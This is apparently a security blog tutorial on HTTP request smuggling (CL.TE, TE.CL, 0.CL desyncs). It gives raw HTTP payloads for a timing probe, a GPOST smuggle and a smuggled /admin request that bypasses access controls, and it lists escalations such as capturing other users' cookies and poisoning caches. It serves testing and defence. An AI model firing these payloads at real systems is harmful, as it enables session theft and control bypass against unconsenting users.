cd ../blog

HTTP Request Smuggling: The 0.CL Desync Era

New 2025 desync research revived request smuggling against modern stacks. We explain CL.TE, TE.CL, and the 0.CL early-response gadget.

HTTP request smuggling exploits two servers disagreeing about where one request ends and the next begins — a front-end proxy and a back-end that parse the same bytes differently. The attacker injects a request the back-end attributes to someone else. This is how to detect the desync and prove it.

Finding it

HTTP/1.1 delimits a body two ways — Content-Length and Transfer-Encoding: chunked — and trouble starts when both are present and the two servers prioritize them differently. Detection is about provoking and measuring a parser discrepancy.

The reliable detection methodology is timing-based, because it is safe (it desyncs your own connection, not a victim's). Send a request crafted so that one server waits for bytes that never arrive; a long delay confirms the discrepancy. Burp's HTTP Request Smuggler extension automates exactly this, and h2csmuggler covers the HTTP/2 cleartext path:

# Probe an HTTP/2 endpoint for a downgrade path that re-opens HTTP/1.1 ambiguity
python3 h2csmuggler.py -x https://victim.example.com --test

What to look for:

  • A CL.TE timeout: front-end uses Content-Length, back-end uses Transfer-Encoding.
  • A TE.CL timeout: the reverse.
  • HTTP/2-to-HTTP/1.1 downgrades at the edge (re-introduces HTTP/1.1 ambiguity).
  • The newer 0.CL class plus an "early-response gadget" — an endpoint that responds before reading the full body.

Proof of concept

Start with the safe timing probe for CL.TE. The front-end forwards 4 bytes (1\r\n + A) and the back-end, honoring chunked, waits for the next chunk that never comes — so the connection hangs:

POST / HTTP/1.1
Host: victim.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

If this request consistently takes ~10s longer than a baseline while a normal request returns immediately, the back-end is reading chunked and the front-end is not — CL.TE confirmed.

Now demonstrate the actual smuggle. Prefix a request onto the next connection user. The 0\r\n\r\n terminates the chunked body for the front-end, leaving GPOST... buffered for the back-end to prepend to whoever comes next:

POST / HTTP/1.1
Host: victim.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

GPOST / HTTP/1.1
Host: victim.example.com
Foo: x

To make the proof self-contained, smuggle a request that captures evidence on a benign endpoint you can read back, or smuggle past a front-end access control:

POST /login HTTP/1.1
Host: victim.example.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

If the front-end blocks /admin directly (403) but the smuggled /admin reaches the back-end (you observe the admin response prepended to the next request), you have proven a control bypass.

Going further

The 2025 "HTTP/1.1 Must Die" research revived this class with 0.CL desyncs and parser-discrepancy detection, lighting up targets that scanned clean for years — duplicate headers, obsolete line folding, and ambiguous chunk sizes are all fresh hunting ground. "We tested this once" is a stale assurance; rerun current tooling.

Concrete escalations to demonstrate impact:

  • Capture another user's request (and their Cookie/Authorization) by smuggling a request that reflects the buffered bytes into a stored field you can read.
  • Bypass edge access controls as shown above.
  • Poison a shared cache to amplify a single smuggle to many users.

Because smuggling can affect real users' connections, restrict experiments to the timing-based, self-targeting detection unless you have explicit authorization for active exploitation. Capture the request pair, the timing differential, and the smuggled response as evidence.